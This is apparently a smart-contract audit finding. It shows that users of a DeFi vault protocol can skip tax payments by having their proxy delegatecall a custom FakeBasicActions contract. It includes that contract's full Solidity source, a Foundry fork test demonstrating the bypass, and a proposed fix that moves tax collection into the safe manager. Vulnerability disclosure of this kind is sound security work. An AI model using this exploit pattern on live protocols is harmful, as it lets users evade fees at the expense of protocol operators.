Malicious users are able to bypass the Tax payment using making a Fake BasicActions Contract
mediumLines of code
Vulnerability details
Impact
Users can interact with the protocol without paying any taxes
Proof of Concept
Whenever a user wants to interact with the protocol (E.g: lock collateral, generate debt, repay debt, etc) he/she should make a call to their proxy contract and the proxy contract will make a delegatecall to BasicActions contract. BasicActions contract will calculate and pay the tax on every:
- _generateDebt: Link to code
- _repayDebt: Link to code
- _lockTokenCollateralAndGenerateDebt: Link to code
- repayAllDebt: Link to code
- repayDebtAndFreeTokenCollateral: Link to code
- repayAllDebtAndFreeTokenCollateral: Link to code
Given that this is a delegatecall to BasicActions contract and it can be any other contract, a malicious user will be able to deploy a Fake BasicActions contract that doesn't contain any Tax payment mechanism and simply bypass the Tax payment.
To test the scenario please make a file named FakeBasicActions.sol in this path: test/nft/anvil and copy/paste the following contract code that has no Tax payment mechanism in it:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol';
import {ODProxy} from '@contracts/proxies/ODProxy.sol';
import {ISAFEEngine} from '@interfaces/ISAFEEngine.sol';
import {ICoinJoin} from '@interfaces/utils/ICoinJoin.sol';
import {ITaxCollector} from '@interfaces/ITaxCollector.sol';
import {ICollateralJoin} from '@interfaces/utils/ICollateralJoin.sol';
import {IERC20Metadata} from '@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol';
import {IBasicActions} from '@interfaces/proxies/actions/IBasicActions.sol';
import {Math, WAD, RAY, RAD} from '@libraries/Math.sol';
import {CommonActions} from '@contracts/proxies/actions/CommonActions.sol';
contract FakeBasicActions {
using Math for uint256;
function lockTokenCollateralAndGenerateDebt(
address _manager,
address _taxCollector,
address _collateralJoin,
address _coinJoin,
uint256 _safeId,
uint256 _collateralAmount,
uint256 _deltaWad
) public {
address _safeEngine = ODSafeManager(_manager).safeEngine();
ODSafeManager.SAFEData memory _safeInfo = ODSafeManager(_manager).safeData(_safeId);
// Takes token amount from user's wallet and joins into the safeEngine
_joinCollateral(_collateralJoin, _safeInfo.safeHandler, _collateralAmount);
// Locks token amount into the SAFE and generates debt
_modifySAFECollateralization(
_manager,
_safeId,
_collateralAmount.toInt(),
_getGeneratedDeltaDebt(_safeEngine, _safeInfo.collateralType, _safeInfo.safeHandler, _deltaWad)
);
// Exits and transfers COIN amount to the user's address
_collectAndExitCoins(_manager, _coinJoin, _safeId, _deltaWad);
}
function generateDebt(
address _manager,
address _taxCollector,
address _coinJoin,
uint256 _safeId,
uint256 _deltaWad
) public {
address _safeEngine = ODSafeManager(_manager).safeEngine();
ODSafeManager.SAFEData memory _safeInfo = ODSafeManager(_manager).safeData(_safeId);
// Generates debt in the SAFE
_modifySAFECollateralization(
_manager,
_safeId,
0,
_getGeneratedDeltaDebt(_safeEngine, _safeInfo.collateralType, _safeInfo.safeHandler, _deltaWad)
);
// Moves the COIN amount to user's address
_collectAndExitCoins(_manager, _coinJoin, _safeId, _deltaWad);
}
function _modifySAFECollateralization(
address _manager,
uint256 _safeId,
int256 _deltaCollateral,
int256 _deltaDebt
) internal {
ODSafeManager(_manager).modifySAFECollateralization(_safeId, _deltaCollateral, _deltaDebt);
}
function _getGeneratedDeltaDebt(
address _safeEngine,
bytes32 _cType,
address _safeHandler,
uint256 _deltaWad
) internal view returns (int256 _deltaDebt) {
uint256 _rate = ISAFEEngine(_safeEngine).cData(_cType).accumulatedRate;
uint256 _coinAmount = ISAFEEngine(_safeEngine).coinBalance(_safeHandler);
// If there was already enough COIN in the safeEngine balance, just exits it without adding more debt
if (_coinAmount < _deltaWad * RAY) {
// Calculates the needed deltaDebt so together with the existing coins in the safeEngine is enough to exit wad amount of COIN tokens
_deltaDebt = ((_deltaWad * RAY - _coinAmount) / _rate).toInt();
// This is neeeded due lack of precision. It might need to sum an extra deltaDebt wei (for the given COIN wad amount)
_deltaDebt = uint256(_deltaDebt) * _rate < _deltaWad * RAY ? _deltaDebt + 1 : _deltaDebt;
}
}
function _collectAndExitCoins(address _manager, address _coinJoin, uint256 _safeId, uint256 _deltaWad) internal {
// Moves the COIN amount to proxy's address
_transferInternalCoins(_manager, _safeId, address(this), _deltaWad * RAY);
// Exits the COIN amount to the user's address
_exitSystemCoins(_coinJoin, _deltaWad * RAY);
}
function _transferInternalCoins(address _manager, uint256 _safeId, address _dst, uint256 _rad) internal {
ODSafeManager(_manager).transferInternalCoins(_safeId, _dst, _rad);
}
function _exitSystemCoins(address _coinJoin, uint256 _coinsToExit) internal virtual {
if (_coinsToExit == 0) return;
ICoinJoin __coinJoin = ICoinJoin(_coinJoin);
ISAFEEngine __safeEngine = __coinJoin.safeEngine();
if (!__safeEngine.canModifySAFE(address(this), _coinJoin)) {
__safeEngine.approveSAFEModification(_coinJoin);
}
// transfer all coins to msg.sender (proxy shouldn't hold any system coins)
__coinJoin.exit(msg.sender, _coinsToExit / RAY);
}
function _joinCollateral(address _collateralJoin, address _safe, uint256 _wad) internal {
ICollateralJoin __collateralJoin = ICollateralJoin(_collateralJoin);
IERC20Metadata _token = __collateralJoin.collateral();
// Transforms the token amount into ERC20 native decimals
uint256 _decimals = _token.decimals();
uint256 _wei = _wad / 10 ** (18 - _decimals);
if (_wei == 0) return;
// Gets token from the user's wallet
_token.transferFrom(msg.sender, address(this), _wei);
// Approves adapter to take the token amount
_token.approve(_collateralJoin, _wei);
// Joins token collateral into the safeEngine
__collateralJoin.join(_safe, _wei);
}
}
And also make another file called NinjaTests.t.sol in this path: test/nft/anvil and copy/paste the following test code in it:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import 'forge-std/Test.sol';
import {AnvilFork} from '@test/nft/anvil/AnvilFork.t.sol';
import {WSTETH, ARB, CBETH, RETH, MAGIC} from '@script/GoerliParams.s.sol';
import {IERC20} from '@openzeppelin/token/ERC20/IERC20.sol';
import {SafeERC20} from '@openzeppelin/token/ERC20/utils/SafeERC20.sol';
import {Vault721} from '@contracts/proxies/Vault721.sol';
import {IODSafeManager} from '@interfaces/proxies/IODSafeManager.sol';
import {ISAFEEngine} from '@interfaces/ISAFEEngine.sol';
import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol';
import {ODProxy} from '@contracts/proxies/ODProxy.sol';
import {FakeBasicActions} from '@test/nft/anvil/FakeBasicActions.sol';
contract NinjaTests is AnvilFork {
using SafeERC20 for IERC20;
FakeBasicActions fakeBasicActions;
function test_setup() public {
assertEq(totalVaults, vault721.totalSupply());
checkProxyAddress();
checkVaultIds();
}
function test_GenerateDebtWithoutTax() public {
fakeBasicActions = new FakeBasicActions();
address proxy = proxies[1];
bytes32 cType = cTypes[1];
uint256 vaultId = vaultIds[proxy][cType];
bytes memory payload = abi.encodeWithSelector(
fakeBasicActions.lockTokenCollateralAndGenerateDebt.selector,
address(safeManager),
address(taxCollector),
address(collateralJoin[cType]),
address(coinJoin),
vaultId,
1,
0
);
vm.startPrank(users[1]);
// Proxy makes a delegatecall to Malicious BasicAction contract and bypasses the TAX payment
ODProxy(proxy).execute(address(fakeBasicActions), payload);
genDebt(vaultId, 10, proxy);
vm.stopPrank();
IODSafeManager.SAFEData memory sData = safeManager.safeData(vaultId);
address safeHandler = sData.safeHandler;
ISAFEEngine.SAFE memory SafeEngineData = safeEngine.safes(cType, safeHandler);
assertEq(1, SafeEngineData.lockedCollateral);
assertEq(10, SafeEngineData.generatedDebt);
}
}
Test commands: forge test --fork-url $ANVIL_RPC --match-test test_GenerateDebtWithoutTax
Tools Used
VSCode Foundry
Recommended Mitigation Steps
Move the Tax payment mechanism into ODSafeManager contract E.g:
difffunction modifySAFECollateralization( uint256 _safe, int256 _deltaCollateral, int256 _deltaDebt ) external safeAllowed(_safe) { + ODSafeManager.SAFEData memory _safeInfo = _safeData[_safe]; + ITaxCollector(_taxCollector).taxSingle(_safeInfo.collateralType); SAFEData memory _sData = _safeData[_safe]; ISAFEEngine(safeEngine).modifySAFECollateralization( _sData.collateralType, _sData.safeHandler, _sData.safeHandler, _sData.safeHandler, _deltaCollateral, _deltaDebt ); emit ModifySAFECollateralization(msg.sender, _safe, _deltaCollateral, _deltaDebt); }
Assessed type
call/delegatecall
